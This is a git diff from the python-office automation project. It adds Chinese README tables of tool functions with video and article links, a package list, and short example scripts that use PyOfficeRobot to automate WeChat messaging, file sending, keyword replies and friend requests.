+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|----------------|-----------|------------------------------------------------------|---------------------------------------------------------|------|
+| 1 | transtools | 翻译万国语言 | ⭐ [播放](https://www.bilibili.com/video/BV1Y3411R7q7/) | 待编辑 | 待开发 |
+| 2 | qrcodetools | 解析二维码图片信息 | ⭐ [播放](https://www.bilibili.com/video/BV133411d7XF) | 待编辑 | 待开发 |
+| 3 | passwordtools | 密码生成器 | ⭐ [播放](https://www.bilibili.com/video/BV1QY4y1o7qc) | 待编辑 | 待开发 |
+| 4 | weather | 天气查询 | 待录制 | [查看](https://mp.weixin.qq.com/s/NVn8NNtOS3AfOyl75JTaNg) | 待开发 |
+| 5 | net_speed_test | 测网速 | 待录制 | 待编辑 | 待开发 |
+| 6 | url2ip | 获取ip地址 | 待录制 | 待编辑 | 待开发 |
+| 7 | lottery8ticket | 生成彩票号码 | 待录制 | [查看](https://mp.weixin.qq.com/s/Q6JgW06hMUSik0DqGD0rOA) | 待开发 |
+| 8 | create_article | 自动写文章 | 待录制 | [查看](https://mp.weixin.qq.com/s/guBtZHyUyybGNOqzZke1kQ) | 待开发 |
+| 9 | pwd4wifi | 破解wifi密码 | 待录制 | [查看](https://mp.weixin.qq.com/s/Pw_zZ1Vo9CxYzwRv3ByUJA) | 待开发 |
+
+## 9、视频 + 自动化办公 = povideo
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----------|----------|-----|-----------------------------------------------------------|------|
+| 1 | video2mp3 | 从视频里提取音频 | 待录制 | [查看](https://mp.weixin.qq.com/s/cT8lcUwd3UayTfLGddjfJw) | 待开发 |
+| 2 | audio2txt | 音频转文字 | 待录制 | [查看](https://cloud.tencent.com/developer/article/2128601) | 待开发 |
+
+## 10、代码开发 + 自动化办公 = pocode、potime、poprogress
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----|------------|-----|---------------------------------------------------------|------|
+| 1 | | 统计代码行数 | 待录制 | [查看](https://mp.weixin.qq.com/s/lOZ4X_s_2n5kTDzk1TEmTQ) | 待开发 |
+| 2 | | 计算程序运行时间 | 待录制 | [查看](https://mp.weixin.qq.com/s/SnIdBf11QTad8sWOTSJbWQ) | 待开发 |
+| 3 | | 显示程序执行的进度条 | 待录制 | [查看](https://mp.weixin.qq.com/s/4sIP0kfpsP-EFpkyn_wphw) | 待开发 |
+
+## 11、金融 + 自动化办公 = pofinance
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-----|------|-----|---------------------------------------------------------|------|
+| 1 | | 单次做T | 待录制 | [查看](https://mp.weixin.qq.com/s/Rxl0JQKzBVyULm2qLm23Uw) | 待开发 |
+| 2 | | 批量做T | 待录制 | [查看](https://mp.weixin.qq.com/s/tLH9Bc4vgr8A35vj6rWNXQ) | 待开发 |
+
+## 12、AI + 自动化办公
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|-------------|-----------|---------------------------------------------------|---------------------------------------------------------|------|
+| 1 | pencil4img | AI画素描 | [播放](https://www.bilibili.com/video/BV1rP411N7ao) | [查看](https://mp.weixin.qq.com/s/h-3oL7wFE84P6-BwJqR2tg) | 待开发 |
+| 2 | | 还原黑白照片的颜色 | 待录制 | [查看](https://mp.weixin.qq.com/s/fJLtyTCWBU767xieRTohIQ) | 待开发 |
+| 2 | img2Cartoon | 生成动漫头像 | 待录制 | 待编辑 | 待开发 |
+
+## 13、中文编程 + 自动化办公 = pohan
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 |
+|----|------------|-------|---------------------------------------------------|---------------------------------------------------------|------|
+| 1 | han2pinyin | 汉字转拼音 | [播放](https://www.bilibili.com/video/BV1gj411S7Eq) | [查看](https://mp.weixin.qq.com/s/BYUhroZ5lp18czy5GOYFQg) | 待开发 |
+| 2 | | 重庆话编程 | [播放](https://www.bilibili.com/video/BV1sk4y1Y7wn) | [查看](https://mp.weixin.qq.com/s/X7tYuuA_43p0l7yBWPvi5A) | 待开发 |
+
+## 14、微信机器人-PyOfficeRobot
+
+- ⭐本机器人完全免费,全部功能的演示视频 +
+ 项目源码:[Github](https://gitee.com/CoderWanFeng/PyOfficeRobot/demo)、[gitee](https://gitee.com/CoderWanFeng/PyOfficeRobot)
+
+| 序号 | 方法名 | 功能 | 视频 | 文档 | 代码 |
+|----|----------------------|--------------|----------------------------------------------------|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------|
+| 1 | | 🔥项目发布 | [播放](https://www.bilibili.com/video/BV1S84y1m7xd/?p=2) | 待编辑 | [打开](https://mp.weixin.qq.com/s/6slx8hyv_WuK7v5Nzt3XKQ) |
+| 2 | send_message | 自动发消息 | [播放](https://www.bilibili.com/video/BV1Jt4y1j7F1) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/001-%E5%8F%91%E4%B8%80%E6%9D%A1%E4%BF%A1%E6%81%AF.py) |
+| 3 | send_file | 自动发文件 | [播放](https://www.bilibili.com/video/BV1te4y1y7Ro) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/002-%E5%8F%91%E6%96%87%E4%BB%B6.py) |
+| 4 | chat_by_keywords | 根据关键词,自动回复 | [播放](https://www.bilibili.com/video/BV1fV4y1M7ju) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/003-%E6%A0%B9%E6%8D%AE%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D.py) |
+| 5 | send_message_by_time | ⌚定时自动发消息 | [播放](https://www.bilibili.com/video/BV1m8411b7LZ/) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/004-%E5%AE%9A%E6%97%B6%E5%8F%91%E9%80%81.py) |
+| 6 | | 自己加功能 | [播放](https://www.bilibili.com/video/BV14R4y127h6) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/005-%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8A%9F%E8%83%BD.py) |
+| 7 | | ⭐独立使用 | [播放](https://www.bilibili.com/video/BV1SY411y7Uh) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/006-%E7%8B%AC%E7%AB%8B%E7%89%88%E6%9C%AC.py) |
+| 8 | get_group_list | 收集群信息 | [播放](https://www.bilibili.com/video/BV1eD4y1g7yZ) | 有BUG,待修复 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/007-%E6%94%B6%E9%9B%86%E7%BE%A4%E6%B6%88%E6%81%AF.py) |
+| 9 | | 发消息如何换行? | [播放](https://www.bilibili.com/video/BV1Xg4y1s79z/) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/008-%E5%8F%91%E6%B6%88%E6%81%AF%E6%8D%A2%E8%A1%8C.py) |
+| 10 | chat_by_gpt | 微信 + ChatGPT | [播放](https://www.bilibili.com/video/BV1394y1e787) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/011-chat_chatgpt.py) |
+| 11 | add | 批量加好友 | [播放](https://www.bilibili.com/video/BV1DV4y1o7t2) | 有BUG,待修复 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/009-%E6%89%B9%E9%87%8F%E5%8A%A0%E5%A5%BD%E5%8F%8B.py) |
+| 12 | send | 批量群发 | [播放](https://www.bilibili.com/video/BV1Nm4y1C7N7) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/010-%E5%AE%9A%E6%97%B6%E7%BE%A4%E5%8F%91.py) |
+| 13 | chat_robot | 智能聊天 | [播放](https://www.bilibili.com/video/BV1394y1e787) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/012%E3%80%81%E6%99%BA%E8%83%BD%E8%81%8A%E5%A4%A9.py) |
+
+
+
+
+
+
+
+## 文字教程
+
+全部功能的文字教程👉[传送门](https://www.python-office.com/guide/allFunc.html)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+## 良心建议
+
+你好,这里是程序员晚枫,人到中年,才转行程序员。
+
+业余时间做编程博主,同时运营python-office这个python的功能库,以下是一些生活VLOG和读者经常问我的一些问题。
+
+💻我录制成了视频的形式,大家看看吧~
+
+### 生活VLOG
+
+
+
+
+
+
+
+### 转行咨询
+
+- [如何免费学编程?如何避免被割韭菜?](https://www.bilibili.com/video/BV1SM411K7wm)
+
+- [3大措施,整治程序员高薪现象!大快人心](https://www.bilibili.com/video/BV1sd4y1c7T9)
+
+- [学会编程,能拿高薪?别再被洗脑了](https://www.bilibili.com/video/BV19d4y197EP)
+
+- [少儿编程,有必要学吗?程序员被问懵了](https://mbd.baidu.com/newspage/data/videolanding?nid=sv_5531201104035387002&sourceFrom=homepage)
+
+- [学编程、学Python接单?别再被割韭菜了!](https://www.xiaohongshu.com/discovery/item/63305311000000001701c8a9)
+
+- [30岁转行程序员,我的转行经历](https://www.bilibili.com/video/BV1Nr4y1B76X?spm_id_from=333.999.0.0)
+
+- [Excel还是Python?别被割韭菜,高效办公选一个就够了!](https://mp.weixin.qq.com/s/rMsMpSdQHqS3Q9eSsA0VeA)
+
+## 交流群
+
+
+
+
+
+
+
+## 学习资源
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/docs/allpackages.txt b/docs/allpackages.txt
new file mode 100644
index 0000000..1aa3812
--- /dev/null
+++ b/docs/allpackages.txt
@@ -0,0 +1,61 @@
+about-time==3.1.1
+alive-progress==2.4.1
+atomicwrites==1.4.0
+attrs==21.4.0
+certifi==2022.6.15
+charset-normalizer==2.0.12
+click==8.1.3
+colorama==0.4.4
+commonmark==0.9.1
+decorator==4.4.2
+et-xmlfile==1.1.0
+Faker==13.13.0
+fire==0.4.0
+fonttools==4.33.3
+fpdf==1.7.2
+grapheme==0.6.0
+idna==3.3
+imageio==2.19.3
+imageio-ffmpeg==0.4.7
+iniconfig==1.1.1
+libretranslatepy==2.1.1
+lxml==4.9.0
+moviepy==1.0.3
+numpy==1.22.4
+opencv-python==4.6.0.66
+openpyxl==3.0.10
+packaging==21.3
+pandas==1.4.2
+pdf2docx==0.5.3
+pikepdf==5.1.5
+Pillow==9.1.1
+pluggy==1.0.0
+proglog==0.1.10
+progress==1.6
+py==1.11.0
+Pygments==2.12.0
+PyMuPDF==1.19.6
+pyparsing==3.0.9
+PyPDF2==2.2.0
+python-dateutil==2.8.2
+python-docx==0.8.11
+python-pptx==0.6.21
+pytz==2022.1
+pywin32==304
+qrcode==7.3.1
+reportlab==3.6.10
+requests==2.28.0
+rich==12.4.4
+six==1.16.0
+termcolor==1.1.0
+tomli==2.0.1
+tqdm==4.64.0
+translate==3.6.1
+typer==0.4.1
+typing_extensions==4.2.0
+urllib3==1.26.9
+xlrd==2.0.1
+XlsxWriter==3.0.3
+xlutils==2.0.0
+xlwings==0.27.10
+xlwt==1.3.0
diff --git a/docs/html/404.html b/docs/html/404.html
new file mode 100644
index 0000000..10f4b33
--- /dev/null
+++ b/docs/html/404.html
@@ -0,0 +1,252 @@
+
+
+
+
+
+
+
+ 404 NOT FOUND - qian.blue
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git "a/Documentation/python-office \350\207\252\345\212\250\345\214\226\345\212\236\345\205\254.xmind" "b/docs/python-office \350\207\252\345\212\250\345\214\226\345\212\236\345\205\254.xmind"
similarity index 100%
rename from "Documentation/python-office \350\207\252\345\212\250\345\214\226\345\212\236\345\205\254.xmind"
rename to "docs/python-office \350\207\252\345\212\250\345\214\226\345\212\236\345\205\254.xmind"
diff --git a/docs/tree.txt b/docs/tree.txt
new file mode 100644
index 0000000..1b07e06
--- /dev/null
+++ b/docs/tree.txt
@@ -0,0 +1,22 @@
+ļ PATH б
+кΪ 000000AB 0B25:163E
+D:\DOWNLOAD\YOU-GET\HIGH-PY\PYTHON-OFFICE
+.idea
+ inspectionProfiles
+ shelf
+cli
+contributors
+ demo
+core
+docs
+lib
+ image
+ pdf
+ ppt
+ tools
+ utils
+office
+script
+tests
+venv
+
diff --git "a/docs/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256.xmind" "b/docs/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256.xmind"
new file mode 100644
index 0000000..ed8469f
Binary files /dev/null and "b/docs/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256/\345\217\202\344\270\216\345\274\200\346\272\220\351\241\271\347\233\256.xmind" differ
diff --git "a/examples/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py" "b/examples/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py"
new file mode 100644
index 0000000..cd730b9
--- /dev/null
+++ "b/examples/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@Date :2023/2/13 21:19
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1te4y1y7Ro
+'''
+
+# 首先,将PyOfficeRobot模块导入到我们的代码块中。
+import PyOfficeRobot
+
+PyOfficeRobot.chat.send_message(who='小红书:程序员晚枫', message='你好')
+# PyOfficeRobot.chat.send_message(who='每天进步一点点', message='你好')
diff --git "a/examples/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py" "b/examples/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py"
new file mode 100644
index 0000000..5628634
--- /dev/null
+++ "b/examples/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@Date :2023/2/13 21:19
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1te4y1y7Ro
+'''
+
+import PyOfficeRobot
+
+# PyOfficeRobot.file.send_file(who='每天进步一点点', file=r'C:\Users\Lenovo\Desktop\temp\0.jpg')
+PyOfficeRobot.file.send_file(who='B站:程序员晚枫', file=r'C:\Users\Lenovo\Desktop\temp\0.jpg')
diff --git "a/examples/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py" "b/examples/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py"
new file mode 100644
index 0000000..2770163
--- /dev/null
+++ "b/examples/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py"
@@ -0,0 +1,18 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@Date :2023/2/13 21:19
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1m8411b7LZ
+'''
+import PyOfficeRobot
+
+keywords = {
+ "我要报名": "你好,这是报名链接:www.python-office.com",
+ "点赞了吗?": "点了",
+ "关注了吗?": "必须的",
+ "投币了吗?": "三连走起",
+}
+PyOfficeRobot.chat.chat_by_keywords(who='抖音:程序员晚枫', keywords=keywords)
+# PyOfficeRobot.chat.chat_by_keywords(who='每天进步一点点', keywords=keywords)
diff --git "a/examples/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py" "b/examples/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py"
new file mode 100644
index 0000000..27f19e5
--- /dev/null
+++ "b/examples/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py"
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@Date :2023/2/13 21:19
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1m8411b7LZ
+'''
+import PyOfficeRobot
+
+# PyOfficeRobot.chat.send_message_by_time(who='每天进步一点点', message='你好', time='21:51:55')
+PyOfficeRobot.chat.send_message_by_time(who='快手:程序员晚枫', message='你好', time='21:51:55')
diff --git "a/examples/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py" "b/examples/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py"
new file mode 100644
index 0000000..14634fc
--- /dev/null
+++ "b/examples/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py"
@@ -0,0 +1,18 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/9 23:22
+@本段代码的视频说明 :https://www.bilibili.com/video/BV14R4y127h6
+'''
+import PyOfficeRobot
+
+import office
+
+keywords = {
+ "我要报名": "你好,这是报名链接:www.python-office.com",
+ "来个密码": office.tools.passwordtools(),
+}
+# PyOfficeRobot.chat.chat_by_keywords(who='每天进步一点点', keywords=keywords)
+PyOfficeRobot.chat.chat_by_keywords(who='知乎:程序员晚枫', keywords=keywords)
\ No newline at end of file
diff --git "a/examples/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py" "b/examples/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py"
new file mode 100644
index 0000000..2216fe7
--- /dev/null
+++ "b/examples/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py"
@@ -0,0 +1,20 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/9 23:25
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1SY411y7Uh
+'''
+
+# 原始方式
+import office
+
+office.wechat.send_message(who='百度一下:程序员晚枫', message='点个star吧')
+# office.wechat.send_message(who='每天进步一点点', message='你好')
+
+# 独立方式
+# import PyOfficeRobot
+
+
+# PyOfficeRobot.chat.send_message(who='百度一下:程序员晚枫', message='点个star吧')
diff --git "a/examples/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py" "b/examples/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py"
new file mode 100644
index 0000000..2b1f015
--- /dev/null
+++ "b/examples/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/9 23:28
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1eD4y1g7yZ
+'''
+
+import PyOfficeRobot
+
+PyOfficeRobot.file.get_group_list()
+
+# TODO:有BUG:AttributeError: 'NoneType' object has no attribute 'Name'
diff --git "a/examples/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py" "b/examples/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py"
new file mode 100644
index 0000000..dc4b0be
--- /dev/null
+++ "b/examples/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/9 23:29
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1Xg4y1s79z
+'''
+
+import PyOfficeRobot
+
+PyOfficeRobot.chat.send_message(who='每天进步一点点', message='你好' + '{ctrl}{ENTER}' + 'hello')
+# PyOfficeRobot.chat.send_message(who='CSDN:程序员晚枫', message='你好' + '{ctrl}{ENTER}' + 'hello')
diff --git "a/examples/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py" "b/examples/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py"
new file mode 100644
index 0000000..135e00e
--- /dev/null
+++ "b/examples/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py"
@@ -0,0 +1,24 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/4/27 21:19
+@Description :
+'''
+
+"""
+批量加好友,1行代码实现
+"""
+# pip install PyOfficeRobot>=0.1.5
+import PyOfficeRobot
+
+msg = "你好,我是程序员晚枫,全网同名。"
+num_notes = {
+ # '微信号/手机号': '你给Ta的备注',
+ # '1366666': '公众号-晚枫',
+ 'CoderWanFeng': '小红书-晚枫',
+}
+PyOfficeRobot.friend.add(msg=msg, num_notes=num_notes)
+
+# TODO:控件改变了,有BUG
diff --git "a/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py" "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py"
new file mode 100644
index 0000000..96cade7
--- /dev/null
+++ "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py"
@@ -0,0 +1,18 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/4/27 21:20
+@Description :
+'''
+
+"""
+定时群发消息
+"""
+
+# pip
+import PyOfficeRobot
+
+if __name__ == '__main__':
+ PyOfficeRobot.group.send()
diff --git "a/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt" "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt"
new file mode 100644
index 0000000..83a1759
--- /dev/null
+++ "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt"
@@ -0,0 +1,4 @@
+大家好,这里是程序员晚枫。
+今天的视频更新了!
+【批量添加好友】
+视频链接:https://www.bilibili.com/video/BV1DV4y1o7t2
\ No newline at end of file
diff --git "a/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls" "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls"
new file mode 100644
index 0000000..fc9b489
Binary files /dev/null and "b/examples/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls" differ
diff --git a/examples/PyOfficeRobot/011-chat_chatgpt.py b/examples/PyOfficeRobot/011-chat_chatgpt.py
new file mode 100644
index 0000000..5016d1e
--- /dev/null
+++ b/examples/PyOfficeRobot/011-chat_chatgpt.py
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/3/19 18:17
+@Description :
+'''
+# pip install PyOfficeRobot
+import PyOfficeRobot
+
+#
+PyOfficeRobot.chat.chat_by_gpt(who='程序员晚枫', api_key='你的api_key')
+
+# 24小时、
diff --git "a/examples/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py" "b/examples/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py"
new file mode 100644
index 0000000..1f1cb16
--- /dev/null
+++ "b/examples/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/28 21:54
+@本段代码的视频说明 : https://www.bilibili.com/video/BV1394y1e787
+'''
+
+# pip install PyOfficeRobot
+import PyOfficeRobot
+
+# 1行代码,开始智能聊天
+PyOfficeRobot.chat.chat_robot(who='每天进步一点点')
diff --git a/examples/PyOfficeRobot/@AutomationLog.txt b/examples/PyOfficeRobot/@AutomationLog.txt
new file mode 100644
index 0000000..c305aa2
--- /dev/null
+++ b/examples/PyOfficeRobot/@AutomationLog.txt
@@ -0,0 +1,84 @@
+2023-08-09 21:48:46.468 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.034 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.059 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.075 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.080 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.087 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.090 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.097 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.104 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.111 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.119 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.125 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.133 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.141 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.149 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.153 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.156 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.166 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:13.061 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:13.582 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:13.636 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:14.575 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:14.609 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:15.347 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:15.379 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:16.085 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:16.115 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:16.949 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:16.982 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
